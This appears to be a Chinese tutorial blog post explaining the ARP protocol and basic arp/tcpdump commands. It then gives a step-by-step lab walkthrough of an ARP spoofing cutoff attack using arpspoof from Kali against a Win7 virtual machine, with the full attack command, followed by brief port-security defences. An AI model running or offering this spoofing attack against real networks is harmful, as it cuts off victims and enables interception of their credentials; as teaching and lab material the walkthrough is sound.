1.什么是ARP
ARP(Address Resolution Protocol)是一种用于在IPv4网络中将IP地址映射到MAC地址的协议。在计算机网络中,每个网络接口都有一个唯一的MAC地址(Media Access Control address),用于识别网络设备。
而IP地址(Internet Protocol address)则是用于标识网络上设备的逻辑地址。ARP协议的作用就是在这两种地址之间建立映射关系,以便计算机能够正确地将IP地址转换为MAC地址,从而实现数据包的正确传输。
2.ARP工作原理
当一个设备需要发送数据到一个具有特定IP地址的设备时,它会首先发送一个ARP请求广播,询问该IP地址对应的MAC地址是什么,而拥有该IP地址的设备会回复一个包含自己MAC地址的ARP响应。这样,发送设备就能获得目标设备的MAC地址,进而将数据包发送到正确的目标。
3.ARP协议(Address Resolution Protocol)
主要作用是在局域网中解析网络层的IP地址到链路层的MAC地址。这个协议对于网络通信是非常关键的,因为虽然IP地址用于网络层的通信,但实际的数据帧在物理网络上是通过MAC地址进行传输的。
-
地址映射:ARP允许设备发现局域网内其他设备的物理地址。当一个设备知道另一个设备的IP地址但不知道其MAC地址时,它会使用ARP来获取对应的MAC地址。
-
数据包传输:在发送数据包时,网络设备需要知道目标设备的MAC地址以便将数据包正确地发送到该设备。ARP通过提供这一地址转换,使得数据包能够在局域网内正确传递。
-
网络通信的桥接:ARP协议帮助不同网络协议(如IPv4)与物理网络(如以太网)之间进行桥接,使得使用不同技术的网络设备可以互相通信。
-
缓存机制:设备通常会在一个本地缓存中存储ARP响应,称为ARP缓存。这样,它们可以在需要时快速查找已知的IP到MAC的映射,减少网络上的ARP请求,从而提高网络效率。
-
网络配置与故障排除:ARP还可以用来帮助网络管理员监控和配置网络,例如,通过观察ARP流量来检测网络上的配置错误或冲突。
哈哈哈,搞复杂了,其实很简单,用一句话总结就是:当设备需要将IP地址转换为MAC地址时,ARP协议就派上用场。它通过询问局域网内其他设备,获取目标设备的MAC地址,以确保数据包能够正确传输。这里借用小菜学编程的一张图比较清晰:
4.ARP常用命令
- 查询arp表:
arp -a
2.删除表内某个IP
arp -d IP
3.tcp抓某块网卡的所有arp请求
tcpdump -i eth0 -nn arp
4.tcp抓取指定ip的请求
tcpdump -i eth0 -nn arp and host IP
5.ARP断网攻击
原理:
向目标主机不断的发送ARP报文,然后将其报文中的网关Mac地址设置成为攻击机的主机MAC地址, 然后目标主机想要访问网络发送数据包时,都会发送到攻击机,然后攻击机只需要做一个丢弃数据包的 命令,就可以断掉目标主机的网络了。
准备工作:
两台虚拟机,一台kali作为攻击方,另一台win7作为被攻击方
需要注意的时,两台主机需要在同一个局域网,并且网络通畅。
工具介绍:
arpspoof [spuːf] 是一个好用的ARP欺骗工具,攻击者通过毒化受害者ARP缓存,将网关MAC替换为攻击者MAC,然后攻击者可截获受害者发送和收到的数据包,从而获取受害者账户、密码等相关敏感信息。Kali linux中自带了该工具。
命令使用讲解
arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host -i:指定网卡 -c:攻击机的IP -t 目标机器的IP -r:网关IP
具体步骤:
1.1查看kali的ip:
ip a
1.2 查看windows的ip:
ipconfig /all
1.3 windows ping kali:
ping kali——ip
1.4 win7 查看arp表,记录网关的信息
arp -a |findstr 网关
2.kali进行断网攻击
arpspoof -i eth0 -r 192.168.110.1 -t 192.168.110.12 -i:指定网卡 -r:指定网关ip -t:指定靶机ip
3.win7 查看网络连接 和 kali 的网络链接
ping www.baidu.com
4.win7查看此时的arp表
arp -a 或者 arp -a |findstr 网关
5.结束断网攻击
ctrl+C
6.win7重新查看网络状态
ping www.baidu.com
7.win10重新查看arp表
arp -a |findstr 网关
总结与防御:
ARP(地址解析协议)断网攻击通常是通过发送伪造的ARP消息来进行的,目的是改变局域网内其他设备的ARP缓存,使流量被错误地发送到攻击者的设备上,从而进行中间人攻击或导致网络中断。这种攻击称为ARP欺骗或ARP缓存投毒。以下是一些防范ARP断网攻击的策略:
从原理上来看,如果你发现了端口上有多个MAC地址,那基本就很明显了,
使用高新的交换机支持端口安全特性,可以限制连接到特定物理端口的MAC地址数量。通过这种方式,如果检测到端口上有多个MAC地址,则可以配置交换机自动关闭该端口,防止可能的ARP攻击。